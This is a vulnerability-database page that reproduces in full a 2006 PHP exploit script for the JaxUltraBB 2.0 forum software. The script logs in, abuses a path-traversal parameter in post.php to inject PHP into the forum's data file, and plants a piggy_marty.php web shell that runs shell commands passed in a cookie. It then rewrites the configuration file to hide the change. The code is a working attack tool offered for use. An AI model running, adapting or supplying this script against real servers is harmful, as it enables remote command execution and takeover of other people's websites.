Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

JaxUltraBB <= 2.0 Topic Reply Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 20 Views

JaxUltraBB v2.0 Topic Reply Command Execution Exploit by BlackHawk. This exploit creates a piggy_marty.php backdoor on the webserver to execute shell commands

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;JaxUltraBB v2.0 Topic Reply Command Execution Exploit\r\n&#34;;
echo &#34;by BlackHawk &#60;[email protected]&#62;\r\n&#34;;
echo &#34;Thanks to rgod for the php code and Marty for the Love\r\n&#34;;
echo &#34;You need a valid Username and Password to get it working\r\n\r\n&#34;;
echo &#34;This exploit will try to create a piggy_marty.php backdoor on the webserver\r\n\r\n&#34;;

if ($argc&#60;4) {
echo &#34;Usage: php &#34;.$argv[0].&#34; Site Path UserName Password CMD\r\n&#34;;
echo &#34;Host:       target server (ip/hostname)\r\n&#34;;
echo &#34;Path:       path to PhpBB\r\n&#34;;
echo &#34;Username:        Your username\r\n&#34;;
echo &#34;Password:        Your Password\r\n&#34;;
echo &#34;CMD:        A shell command\r\n&#34;;
echo &#34;Example:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /jubb/ admin admin dir C:\\\r\n&#34;;
die;
}

/*
Jubb is a quite insecure board..
No XSS prevention, free view MD5 hash of the users passwords and more..

after the DevilTeam Deface Exploit something more usefull ;)

JUBB save all the topics into small files with the same exstensions,
even the forumdata.JaxSQL wich contains all the forum configuration variables;

nothing easyer than append some PHP code into the configuration file and execute it;

this exploit create a piggy_marty.php backdoor, wich you can use directly running again the program;

sorry for my bad english, 

BlackHawk [email protected]
*/
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$password=$argv[4];
$port=80;
$proxy=&#34;&#34;;
$cmd=&#34;&#34;;
for ($i=5; $i&#60;=$argc-1; $i++){
$cmd.=&#34; &#34;.$argv[$i];
}
$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

// Check if backdoor already exist

echo &#34;Step 0 - Check if piggy_marty.php already exist..\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;piggy_marty.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=&#34;.$cmd.&#34;;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (strstr($html,&#34;69696&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;69696&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

// Do the Login..

echo &#34;Step 1 - Try To Do The Login..\r\n&#34;;
$data=&#34;username=$uname&#34;;
$data.=&#34;&password=$password&#34;;
$data.=&#34;&submit=Login&#34;;
$packet=&#34;POST &#34;.$p.&#34;login.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/login.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$temp2=explode(&#34; &#34;,$temp[1]);
$phpsid = $temp2[0];

// Send The Evil Code

echo &#34;Step 2 - Ok, Now Injecting the Shell..\r\n&#34;;
$data=&#34;subject=&#34;;
$data.=&#34;&message=&#60;?php \$fp=fopen(\&#34;piggy_marty.php\&#34;,\&#34;w\&#34;);fputs(\$fp,\&#34;&#60;?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\\\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 69696;passthru(\\\$_COOKIE[cmd]);echo 69696;?&#62;\&#34;);fclose(\$fp);chmod(\&#34;piggy_marty.php\&#34;,777);?&#62;&#34;;
$packet=&#34;POST &#34;.$p.&#34;post.php?action=reply&forum=../forum&topic=data HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/login.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$phpsid.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

$packet=&#34;GET &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
sleep(1);

echo &#34;Step 3 - Restoring the original File..\r\n&#34;;
$data=&#34;subject=&#34;;
$data.=&#34;&message=&#60;?php \$fp=fopen(\&#34;forumdata.JaxSql\&#34;,\&#34;w\&#34;);fputs(\$fp,\&#34;&#60;?php\r\n\\\$setup = \$setup;\\\$forumname = \\\&#34;\$forumname\\\&#34;;\\\$adminemail = \\\&#34;\$adminemail\\\&#34;;\\\$hot_post_count = \$hot_post_count;\\\$rules = \\\&#34;\$rules\\\&#34;;echo \\\&#34;&#60;html&#62;&#60;body bgColor=&#39;black&#39; background=&#39;img/background.jpg&#39; text=&#39;white&#39;&#62;&#60;title&#62;\\\$forumname -- Index&#60;/title&#62;&#60;style&#62;a { text-decoration: none; color: blue }a:visited { color: gray }a:hover { text-decoration: bold; color: red }&#60;/style&#62;&#60;table&#62;&#60;td background=&#39;img/topbar.jpg&#39; width=&#39;1000&#39; height=&#39;100&#39;&#62;&#60;img src=&#39;img/logo.jpg&#39; width=&#39;300&#39; height=&#39;100&#39;&#62;&#60;/td&#62;&#60;/table&#62;&#60;a href=&#39;index.php&#39;&#62;&#60;img src=&#39;img/homeicon.jpg&#39; style=&#39;border: outset; border-color: black&#39;&#62;Home&#60;/a&#62; &#60;a href=&#39;members.php&#39;&#62;&#60;img src=&#39;img/membersicon.jpg&#39; style=&#39;border: outset; border-color: black&#39;&#62;Members&#60;/a&#62;\\\&#34;;if (\\\$_SESSION[&#39;usr&#39;] == \\\&#34;\\\&#34;) {echo \\\&#34;&#60;a href=&#39;register.php&#39;&#62;&#60;img src=&#39;img/registericon.jpg&#39; style=&#39;border: outset; border-color: black&#39;&#62;Register&#60;/a&#62; \\\&#34;;echo \\\&#34; &#60;a href=&#39;login.php&#39;&#62;&#60;img src=&#39;img/loginicon.jpg&#39; style=&#39;border: outset; border-color: black&#39;&#62;Login&#60;/a&#62;\\\&#34;;} else {echo \\\&#34; &#60;a href=&#39;profile.php&#39;&#62;&#60;img src=&#39;img/profile.jpg&#39; style=&#39;border: outset; border-color: black&#39;&#62;Profile&#60;/a&#62;\\\&#34;;echo \\\&#34; &#60;a href=&#39;login.php?logout=true&#39;&#62;&#60;img src=&#39;img/loginicon.jpg&#39; style=&#39;border: outset; border-color: black&#39;&#62;Logout of \\\&#34;.\\\$_SESSION[&#39;usr&#39;].\\\&#34;&#60;/a&#62;&#60;br&#62;\\\&#34;;}function online_moved(\\\$page){\\\$onlinefile = fopen(\\\&#34;users/\\\&#34;.\\\$_SESSION[&#39;usr&#39;].\\\&#34;online.JaxSQL\\\&#34;, \\\&#34;w\\\&#34;);fwrite(\\\$onlinefile, \\\$page.\\\&#34;{DATA}\\\&#34;.date(\\\&#34;m\\\&#34;).\\\&#34;{DATA}\\\&#34;.date(\\\&#34;d\\\&#34;).\\\&#34;{DATA}\\\&#34;.date(\\\&#34;y\\\&#34;).\\\&#34;{DATA}\\\&#34;.date(\\\&#34;h\\\&#34;).\\\&#34;{DATA}\\\&#34;.date(\\\&#34;i\\\&#34;).\\\&#34;{DATA}\\\&#34;.date(\\\&#34;s\\\&#34;));fclose(\\\$onlinefile);}?&#62;\&#34;);fclose(\$fp);chmod(\&#34;marty.php\&#34;,777);?&#62;&#34;;
$packet=&#34;POST &#34;.$p.&#34;post.php?action=reply&forum=../forum&topic=data HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/login.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$phpsid.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

$packet=&#34;GET &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
sleep(1);

echo &#34;Step 4 - All done.. Restart the exploit to enjoy ^_^\r\n&#34;;
?&#62;

# milw0rm.com [2006-10-24]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
jaxultrabb v2.0topic reply commandblackhawkpiggy_marty.phpbackdoorwebservershell commands
20